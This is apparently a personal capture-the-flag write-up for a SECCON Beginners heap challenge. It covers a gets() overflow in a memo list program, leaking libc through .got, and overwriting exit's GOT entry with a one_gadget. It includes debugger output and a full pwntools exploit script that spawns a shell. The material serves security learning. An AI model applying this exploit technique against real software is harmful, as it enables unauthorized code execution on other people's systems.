Pre-survey

Using libc-2.33
Source code provided thx!

Welcome to memo organizer

1. Create new memo
1. Edit existing memo
1. Show memo
1. Exit
> 1
[debug] new memo allocated at 0x234e2a0
Content: asdfasdfasdfasdfadfasdfasdfasfdasdfasfdasfdasdfasdfasdadsfsd
first entry created at 0x234e2a0

1. Create new memo
1. Edit existing memo
1. Show memo
1. Exit
> 1
malloc(): corrupted top size
Aborted

heap overflow exists

#define CONTENT_SIZE 0x20

typedef struct memo {
    struct memo *next;
    char content[CONTENT_SIZE];
} Memo;
    printf("Content: ");
    gets(e->content);
    e->next = NULL;
    list_add(e);

size 0x20 but getting data with gets

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

No RELRO -> GOT overwrite

Exploit

OK here comes my idea.
allocate two memo -> edit the first one ( index 0 ) -> overwrite next of the second memo ( index 1 ) -> edit memo at index 2 -> arbitrary write / arbitrary read
get libc_base -> rewrite exit with one gadget

Modifying Next will result same as making new memo at the modified Next address.
We can use Show and Edit to that memory.

Test

Welcome to memo organizer

1. Create new memo
1. Edit existing memo
1. Show memo
1. Exit
> 1
[debug] new memo allocated at 0x4042a0
Content: AASAAA
first entry created at 0x4042a0

1. Create new memo
1. Edit existing memo
1. Show memo
1. Exit
> 1
[debug] new memo allocated at 0x4042d0
Content: AAAAA
adding entry to 0x4042a0->next

1. Create new memo
1. Edit existing memo
1. Show memo
1. Exit
> 2
index: 0
[debug] editing memo at 0x4042a0
Old content: AASAAA
New content: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

1. Create new memo
1. Edit existing memo
1. Show memo
1. Exit
> 2
index: 2
[debug] editing memo at 0x414141
Old content:
New content:

Alright we can write at 0x414141 as I expected
which means we got arbitrary write.

Find one gadget available

I want to overwrite exit() with one_gadget.
So we need to check if there’s an available one_gadget
Let’s check the register status right before exit() is called

 RAX  0x5
 RBX  0x4016a0 (__libc_csu_init) ◂— endbr64
 RCX  0x7ffff7eda077 (write+23) ◂— cmp    rax, -0x1000 /* 'H=' */
 RDX  0x0
 RDI  0x0
 RSI  0x7ffff7fb9723 (_IO_2_1_stdout_+131) ◂— 0xfba7e0000000000a /* '\n' */
 R8   0x5
 R9   0x0
 R10  0x400546 ◂— 0x7475700074697865 /* 'exit' */
 R11  0x7ffff7e12a40 (exit) ◂— endbr64
 R12  0x401100 (_start) ◂— endbr64
 R13  0x7fffffffe2a0 ◂— 0x1
 R14  0x0
 R15  0x0

and this is the gadget available for the exit()

0xde78f execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

Getting libc leak

Considered easy but there was a trap.
You can easily read memory by over writing the next pointer address.
However, when you choose “Show memo” the next pointer should end with (nil).
Otherwise, it will continue to read the corrupted memory and you will face segmentation fault

I tried to get libc address from got but it failed since position for the Next wasn’t (nil).

Searching around elfheader area for the libc address, I was able to find __libc_start_main at the beginning of .got
Which was null before its address

pwndbg> elfheader
0x4002e0 - 0x4002fc  .interp
0x400300 - 0x400320  .note.gnu.property
0x400320 - 0x400344  .note.gnu.build-id
0x400344 - 0x400364  .note.ABI-tag
0x400368 - 0x400390  .gnu.hash
0x400390 - 0x400540  .dynsym
0x400540 - 0x4005f3  .dynstr
0x4005f4 - 0x400618  .gnu.version
0x400618 - 0x400648  .gnu.version_r
0x400648 - 0x4006a8  .rela.dyn
0x4006a8 - 0x4007e0  .rela.plt
0x401000 - 0x40101b  .init
0x401020 - 0x401100  .plt
0x401100 - 0x401715  .text
0x401718 - 0x401725  .fini
0x402000 - 0x4021e4  .rodata
0x4021e4 - 0x402260  .eh_frame_hdr
0x402260 - 0x402448  .eh_frame
0x403448 - 0x403458  .init_array
0x403458 - 0x403460  .fini_array
0x403460 - 0x403630  .dynamic
0x403630 - 0x403640  .got <<<<<<<<<<<<<<<<<<<<<<
0x403640 - 0x4036c0  .got.plt
0x4036c0 - 0x4036d0  .data
0x4036d0 - 0x4036f8  .bss
pwndbg> x/gx 0x403630
0x403630:       0x00007ffff7deff90
pwndbg> x/i 0x00007ffff7deff90
   0x7ffff7deff90 <__libc_start_main>:  endbr64
pwndbg>

OK let’s be real. I didn’t point out this specific address.

Here’s my real process

First, vmmap to check the address range of libc.

Check the wide area and find address inside libc and it’s -8 byte is nil than here it is.

Anyway, I got address of __libc_start_main

Overwrite with one_gadget

Edit the first memo again and overflow the Next of the second to point the got area of the exit

Then use edit

Get the shell

when we enter 4 at the menu (exit) shell comes

Exploit code

from pwn import *

def write(data):
    pc.sendlineafter(b"> ",b"1")
    pc.sendlineafter(b": ",data)

def edit(idx, data):
    pc.sendlineafter(b"> ", b"2")
    pc.sendlineafter(b": " , str(idx))
    pc.sendlineafter(b": ",data)

def exit_process():
    pc.sendlineafter(b"> ", b"4")

def show():
    pc.sendlineafter(b"> ", b"3")

pc = process("./chall")
pc = connect("simplelist.quals.beginners.seccon.jp",9003)

e = ELF("./chall")
log.info("EXIT : "+hex(e.got['exit']))
# log.info("PUTS : "+hex(e.got['puts']))

payload_getLibc = b"A"*40+p64(0x403630-0x8)
payload_exitOW = b"A"*40+p64(e.got['exit']-0x8)

# Make two dummy memo
write("dummy")
write("dummy")

# overflow the first memo, which modifies Next of the second memo and
# result in making third memo on the modified address
edit(0,payload_getLibc)

# read the memo and get the libc address from the third
show()
print(pc.recvuntil(b"content(0x403630) "))
libc_leak = pc.recvuntil(b"\n")[:-1]+b"\00"*2 #__libc_start_main
libc_leak = u64(libc_leak)
log.info(hex(libc_leak))
libc_base = libc_leak - 0x28490
one_gadget = libc_base + 0xde78f

# overflow first memo and make third memo at exit got
edit(0,payload_exitOW)
# make it one gadget
edit(2,p64(one_gadget))
#go!
exit_process()
pc.interactive()

The text debug info in the file just saved me a lot of time.
I don’t have to use much of my gdb to track the heap.

Well actually not the heap quiz, since next is provided separately.
But actual heap moves similiar and I think is the good warm up for the heap.

And real heap quiz of somewhat monkey in the same contest takes all of my time, unsolved…
I need to sleep.